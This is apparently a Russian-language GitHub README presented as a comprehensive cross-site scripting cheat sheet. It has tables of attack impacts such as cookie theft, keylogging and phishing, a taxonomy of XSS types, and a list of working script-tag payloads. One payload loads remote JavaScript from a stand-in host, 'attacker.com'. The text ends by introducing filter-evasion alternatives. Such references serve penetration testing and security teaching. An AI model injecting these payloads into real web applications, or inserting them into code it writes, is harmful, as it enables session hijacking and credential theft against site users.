
Полный справочник по XSS, охватывающий отражённые, хранимые, DOM- и слепые полезные нагрузки, обход фильтров, обход WAF, обход CSP, mXSS и реальные примеры CVE.
Самый полный справочник по XSS на GitHub.
Reflected · Stored · DOM · Blind XSS — payload'ы, обходы фильтров, обход WAF, обход CSP, mXSS, цепочки prototype pollution и реальные CVE. Обновлено для 2026 года.
Payload'ы · Обход фильтров · Обход WAF · DOM XSS · Обход CSP · Blind XSS · Продвинутые техники · Инструменты
Cross-Site Scripting (XSS) — это атака с инъекцией кода на стороне клиента, при которой злоумышленник внедряет вредоносные скрипты в контент, отдаваемый доверенным веб-приложением. Когда браузер жертвы отображает страницу, внедрённый скрипт выполняется с теми же привилегиями, что и легитимные скрипты этого origin.
XSS неизменно входит в OWASP Top 10, потому что последствия серьёзны, а поверхность атаки огромна:
| Воздействие | Описание |
|---|---|
| Перехват сессии | Кража document.cookie и захват аутентифицированных сессий |
| Захват аккаунта | Смена email/пароля через поддельные запросы с использованием сессии жертвы |
| Кейлоггинг | Перехват каждого нажатия клавиши, включая пароли и номера кредитных карт |
| Фишинг | Внедрение поддельных форм входа, отправляющих учётные данные атакующему |
| Дефейс | Изменение содержимого страницы для распространения дезинформации или дискредитации цели |
| Распространение вредоносного ПО | Перенаправление жертв на эксплойт-киты |
| Криптомайнинг | Запуск криптомайнеров в браузерах жертв |
| SSRF / сканирование внутренних портов | Использование браузера жертвы для зондирования внутренней сети |
| Сбор учётных данных | Чтение автозаполненных учётных данных из DOM |
| Скриншот / веб-камера | Захват экрана через getDisplayMedia(), веб-камеры через getUserMedia() |
XSS обходит политику одного источника (Same-Origin Policy, SOP). Поскольку вредоносный скрипт отдаётся с целевого источника, браузер считает его доверенным. Это означает, что XSS даёт атакующему:
HttpOnlylocalStorage и sessionStorageCross-Site Scripting (XSS)
│
├── Reflected XSS
│ ├── Payload in request, reflected in response immediately
│ ├── Requires victim to click crafted link
│ ├── Stored: NO — not persistent
│ └── Example: search?q=<script>alert(1)</script>
│
├── Stored XSS (Persistent)
│ ├── Payload stored in database, file, log, etc.
│ ├── Executes on every page load for every victim
│ ├── Stored: YES — most dangerous type
│ └── Example: comment field, profile name, forum post
│
├── DOM-Based XSS
│ ├── Payload processed by client-side JS, never reaches server
│ ├── Source → Sink flow entirely in browser
│ ├── Often missed by server-side WAFs and scanners
│ └── Example: location.hash → innerHTML assignment
│
└── Blind XSS
├── Payload executes in a different context than where it's injected
├── Fires in admin panels, log viewers, CRM systems
├── Time delay between injection and execution (hours/days)
└── Example: support ticket field that fires in agent dashboard
| Тип | Персистентность | Кто подвергается атаке | Видит ли сервер полезную нагрузку? |
|---|---|---|---|
| Отражённый | Нет | Целевая жертва | Да |
| Хранимый | Да | Все посетители | Да |
| DOM | Нет | Целевая жертва | Обычно нет |
| Слепой | Да (удалённо) | Администратор / пользователь бэкенда | Да (в точке внедрения) |
Основополагающие полезные нагрузки, известные каждому исследователю безопасности. Они работают там, где фильтрация отсутствует.
<!-- Standard script tag -->
<script>alert(1)</script>
<!-- With domain in alert for proof-of-concept -->
<script>alert(document.domain)</script>
<!-- Cookie theft proof-of-concept -->
<script>alert(document.cookie)</script>
<!-- Script with src — load external JS -->
<script src=https://attacker.com/xss.js></script>
<!-- With type attribute -->
<script type="text/javascript">alert(1)</script>
<!-- Newline in script tag -->
<script>
alert(1)
</script>
<!-- Multiple statements -->
<script>var x=1;alert(x)</script>
<!-- Using window.alert -->
<script>window.alert(1)</script>
<!-- With character reference -->
<script>alert(1)</script>
<!-- IIFE (Immediately Invoked Function Expression) -->
<script>(function(){alert(1)})()</script>
<!-- Arrow function -->
<script>(() => alert(1))()</script>
alert (когда alert заблокирован)Многие современные приложения и WAF блокируют слово alert. Используйте эти альтернативы: